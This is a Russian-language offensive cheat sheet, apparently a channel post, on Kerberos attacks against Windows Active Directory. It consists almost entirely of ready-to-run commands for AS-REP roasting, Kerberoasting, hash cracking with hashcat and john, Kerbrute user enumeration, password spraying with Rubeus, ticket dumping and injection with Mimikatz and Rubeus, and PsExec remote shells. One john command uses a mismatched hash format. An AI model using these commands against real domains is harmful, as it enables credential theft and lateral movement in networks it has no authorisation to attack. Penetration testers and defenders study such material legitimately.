Kerberoast. Когда крадешь билеты на концерт, но не знаешь, как их использовать.
Kerberoast - это метод атаки, который используется для получения хешей паролей пользователей в Windows домене, которые будет возможно сбрутить в оффлайн режиме.

➡️ Инструменты:
Rubeus
Kerbrute
Impacket
PsExec

➡️ ASREP-Roast

➡️ Impacket
Проверка ASREP для всех пользователей домена (Требуются валидные данные учетной записи)

python2 GetNPUsers.py <Domain>/<User>:<Password> -request -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

ㅤ
Проверка ASREP по списку пользователей домена (не требует доменных учетных данных)

python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

ㅤ
➡️ Rubeus
Извлечение из всех учетных записей домена

.\Rubeus.exe asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

ㅤ
➡️ Cracking
Windows

hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt

​
Linux

john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
hashcat -m 18200 -a 3 Hashes.txt rockyou

ㅤ
➡️ Brute Force

➡️ Kerbrute

./kerbrute userenum <UserList> --dc <IP> --domain <Domain>

ㅤ
➡️ Rubeus
со списком пользователей

.\Rubeus.exe brute /users:<UserList> /passwords:<Wordlist> /domain:<Domain>

ㅤ
Kerberos-based Password Spraying

.\Rubeus.exe brute /passwords:<Wordlist>

ㅤ
➡️ Kerberoasting

➡️ Impacket

GetUserSPNs.py <Domain>/<User>:<Password> -dc-ip <IP> -request

ㅤ
➡️ Rubeus
Kerberoast всех пользователей домена

.\Rubeus kerberoast

ㅤ
Все пользователи в поздразделении OU

.\Rubeus.exe kerberoast /ou:OU=Service_Accounts,DC=Security,DC=local

ㅤ
Атака на конкретных пользователей

.\Rubeus.exe kerberoast /user:File_SVC

ㅤ
➡️ Pass-The-Ticket

➡️ Mimikatz
Сбор тикетов

sekurlsa::tickets /export

​
Инжект тикета

kerberos::ptt <.kirbi file>

​
Создать CMD с инжектированным тикетом

misc::cmd

ㅤ
➡️ Rubeus
Дамп тикетов

.\Rubeus.exe dump

​
Инжект тикета

.\Rubeus.exe ptt /ticket:<.kirbi file>

ㅤ
➡️ PsExec
Используется после инъекции тикетов через Rubeus или Mimikatz

.\PsExec.exe -accepteula \\<IP> cmd

ㅤ
🌚 @poxek